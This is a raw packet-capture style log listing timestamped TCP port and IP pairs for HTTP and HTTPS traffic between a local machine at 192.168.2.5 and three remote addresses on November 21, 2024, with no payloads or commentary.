Nov 21, 2024 03:09:23.001305103 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.001351118 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.009596109 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.009655952 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.009701014 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.009742975 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.018070936 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.018131971 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.018213034 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.018259048 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.025660038 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.025752068 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.025862932 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.025912046 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.033291101 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.033386946 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.033448935 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.045718908 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.045901060 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.045983076 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.046209097 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.046289921 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.047159910 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.047209024 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.047264099 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.047316074 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.048012018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.048105955 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.048569918 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.048907995 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.049024105 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.049067974 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.049853086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.049973011 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.050020933 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.050724983 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.050854921 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.050898075 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.051649094 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.051768064 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.051820993 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.052575111 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.052643061 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.052781105 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.053466082 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.053545952 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.053631067 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.054374933 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.054491043 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.054537058 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.055288076 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.055402040 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.056205034 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.056261063 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.056302071 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.056346893 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.057109118 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.057223082 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.057269096 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.058026075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.058154106 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.058254004 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.058918953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.059020996 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.059166908 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.059859991 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.059978962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.060094118 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.060734034 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.060858965 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.060996056 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.061664104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.061786890 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.061830044 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.062577963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.062700033 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.063476086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.063539982 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.063559055 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.063596964 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.064431906 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.064533949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.064578056 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.065288067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.065407038 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.065464020 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.066205025 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.066334963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.066385984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.067142010 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.067240000 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.067286015 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.068031073 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.068133116 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.068177938 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.068939924 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.069048882 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.069097042 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.069891930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.069979906 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.070019007 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.070753098 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.070871115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.071511984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.071680069 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.071810007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.071854115 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.072586060 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.072663069 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.072710037 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.073472023 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.073590994 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.073637962 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.074397087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.074506044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.074551105 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.075309038 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.075386047 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.075433016 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.076246977 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.076354980 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.076396942 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.077130079 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.077234983 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.077279091 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.078051090 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.078164101 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.078207970 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.078955889 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.079051971 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.079103947 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.079917908 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.079993010 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.080049038 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.080780983 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.080888987 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.080936909 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.081734896 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.081835032 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.081886053 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.082571983 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.082693100 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.082739115 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.083483934 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.083633900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.083681107 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.084410906 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.084517956 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.084574938 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.085329056 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.085432053 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.085510015 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.086250067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.086368084 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.087147951 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.087197065 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.087249041 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.087291002 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.088074923 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.088160992 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.088289022 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.088993073 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.089113951 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.089159966 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.089916945 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.089988947 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.090034962 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.156629086 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.156672955 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.156688929 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.156708956 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.159132004 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.159965038 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.160083055 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.160125971 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.160177946 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.160217047 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.165174007 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.165412903 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.165466070 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.170293093 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.170430899 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.170480013 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.172276020 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.173263073 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.173285961 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.173747063 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.173752069 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.175417900 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.175465107 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.175530910 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.175596952 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.180490971 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.180599928 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.180619001 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.180641890 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.185587883 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.185650110 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.185702085 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.185764074 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.185884953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.185935974 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.186218977 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.186335087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.186378002 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.187114954 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.187249899 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.187330008 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.188019991 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.190704107 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.190783024 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.190805912 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.190826893 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.195827007 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.195947886 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.196005106 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.200913906 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.201024055 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.201052904 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.201096058 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.206017971 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.206069946 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.206105947 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.206150055 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.211147070 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.211221933 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.211256981 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.211301088 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.216243029 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.216293097 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.216356039 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.216399908 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.221389055 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.221457958 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.221507072 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.221549988 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.226461887 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.226573944 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.226629972 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.231559038 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.231631041 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.231657982 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.231704950 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.236707926 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.236758947 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.236920118 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.236964941 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.239706039 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.241882086 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.241976023 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.242038965 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.246886015 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.247044086 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.247057915 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.247169018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.247196913 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.247215033 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.247481108 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.247571945 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.248395920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.248456955 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.248501062 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.248548985 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.249310970 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.249434948 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.249484062 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.249535084 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.250313997 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.250427008 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.250441074 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.250468969 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.250495911 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.250895023 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.250909090 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.251112938 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.251233101 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.251302958 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.251961946 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.252022028 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.252026081 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.252038956 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.252058029 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.252116919 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.252172947 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.252916098 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.253036976 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.253109932 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.253895044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.254014015 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.254089117 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.254775047 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.254878998 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.254952908 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.255654097 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.255763054 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.255820990 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.256560087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.256685019 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.256753922 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.257071972 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.257117987 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.257184029 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.257384062 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.257472992 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.257576942 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.257663012 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.258399963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.258440018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.259320021 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.259371042 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.259406090 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.259452105 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.260221958 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.260334969 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.261131048 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.261176109 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.261207104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.261250019 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.262054920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.262168884 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.262212992 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.262290001 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.262334108 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.262952089 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.263044119 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.263091087 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.263884068 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.263988018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.264767885 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.264818907 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.264848948 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.264889002 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.265686035 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.265796900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.265847921 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.266623974 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.266720057 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.266772985 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.267504930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.267599106 CET	80	49841	34.116.198.130	192.168.2.5
